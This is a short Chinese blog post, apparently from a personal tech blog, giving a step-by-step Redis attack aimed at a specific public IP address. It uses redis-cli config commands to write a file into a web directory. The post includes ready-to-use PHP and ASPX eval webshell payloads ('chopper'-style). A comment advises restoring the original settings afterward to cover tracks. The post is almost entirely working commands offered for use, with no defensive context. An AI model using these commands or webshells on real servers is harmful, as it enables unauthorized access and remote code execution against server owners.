当前位置:首页 > 文章 > 正文内容

redis渗透获取权限

admin1年前 (2024-01-24)文章2037

KALI

redis-cli -h 189.174.86.173

//运行并复制相关参数,完事了搽屁股

config get dir 

config get dbfilename

//开始 设置网站目录 文件名 内容

config set dir E:/www/font

config set dbfilename redis.aspx

set webshell "<?php phpinfo(); ?>" 

 //php查看信息

set webshell "<?php @eval($_POST['chopper']);?> " 

 //phpwebshell

set webshell "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"c\"],\"unsafe\");%>"

// aspx的webshell,注意双引号使用\"

————————————————

save

//查看一下成功没

get webshell



扫描二维码推送至手机访问。

版权声明:本文由Mpg blog发布,如需转载请注明出处。

分享给朋友:

相关文章

sqlmap基础命令

检查注入点是否可用sqlmap -u “http://www.******.com/subcat.php?id=2” --batch暴库,看看都有哪些数据库:#sqlma...

西瓜视频手动下载方式……

西瓜视频手动下载方式……

需要合成音频和视频。。。。。所以叫全手动源码中查找 "main_url" 查看前面的清晰度。复制 “backup_url_1”后面的base64代码。然后在线解码:htt...

智能DIY官网程序远程附件修复

1.0.73问题:多用户不能独立设置远程附件配置。修改文件lf_bddiy/core/modules/admin/models/core_setting/AttachmentConfigModel.p...

最近爱上看短剧了,发现一个免费的短剧网站!

最近爱上看短剧了,发现一个免费的短剧网站!

短剧全免费,没有广告,不付费,贼爽给你们更新部分网络短剧的名称,如果找不到,还可以自己去搜索“免费短剧”https://www.r100.cc《炎帝》(88集)《爱回家》(65集)《让你穿越不是让你娶...

免费的网络短剧网站!

免费的网络短剧网站!

短剧全免费,没有广告,不付费,贼爽给你们更新部分网络短剧的名称,如果找不到,还可以自己去搜索“免费短剧”https://www.r100.cc《昨夜星辰又逢君》《漂亮后妈甜翻全家(我才不会喜欢他))《...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。